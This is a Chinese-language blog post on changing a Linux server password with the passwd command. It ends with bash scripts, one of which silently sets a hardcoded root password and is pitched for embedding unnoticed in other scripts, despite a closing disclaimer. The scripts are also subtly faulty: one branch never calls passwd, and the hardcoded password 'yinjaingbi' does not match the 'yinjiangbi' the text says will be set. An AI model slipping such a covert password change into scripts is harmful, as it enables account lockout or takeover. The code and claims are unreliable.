Linux命令行修改服务器密码


介绍一下Linux系统修改密码的命令,简单方便。


1、执行修改命令

连接ssh客户端并执行下方命令

passwd


2、填写新密码回车


3、再次输入新密码回车


简单三步,修改您的服务器密码。

执行示例:

[root@yinjiangbi ~]# passwd
更改用户 root 的密码 。
新的 密码:
重新输入新的 密码:
passwd:所有的身份验证令牌已经成功更新。
[root@yinjiangbi ~]#

注意:第2步和第3步(也就是执行示例的第三行和第四行的位置)输入密码并不会将密码显示到屏幕上,给人的感觉就是没输入进去,但是是输入进去了。



根据上述操作,可以将其写成脚本,更加方便简单的修改密码,而且还不会导致你总觉得你在2、3步的时候没输入密码,但是个人认为上面的方法已经很简单了。

写成的脚本代码如下:

#!/bin/bash
function editpasswd(){
if [ ! $1 ];then
echo "请输入新的服务器密码:"
read passwd
else
passwd=$1
passwd <<eof  >/dev/null 2>&1 &
$passwd
$passwd
eof
echo ""
echo "############################################"
echo "#                                          #"
echo "#            服务器密码已被更改            #"
echo "#                                          #"
echo "############################################"
echo ""
fi
}
editpasswd


但是呢,脚本版还有一个好处,就是嵌套进其他脚本中,神不知鬼不觉的就把执行服务器密码给改了,要想神不知鬼不觉,那就需要把一些提示给完全去除,那么提示输入新密码的选项就应该直接换成变量赋值,假设要将密码修改为yinjiangbi。那么,脚本就应该这么写:

#!/bin/bash
function editpasswd(){
if [ ! $1 ];then
echo "请输入新的服务器密码:"
read passwd
else
passwd=$1
passwd <<eof  >/dev/null 2>&1 &
$passwd
$passwd
eof
fi
}
editpasswd yinjaingbi

这样,就会绕过所有提示将密码修改为:yinjiangbi

注意:贴出脚本版是为了让大家研究,并不是为了让大家去害人,损人不利己的事情还是少做为好。

最后于 2月前 被2551654928编辑 ,原因:

上一篇:Linux将b盘扩容到a系统盘
下一篇:Linux获取IP以及IP所在地址
这家伙太懒了,什么也没留下。
最新回复 (0)
返回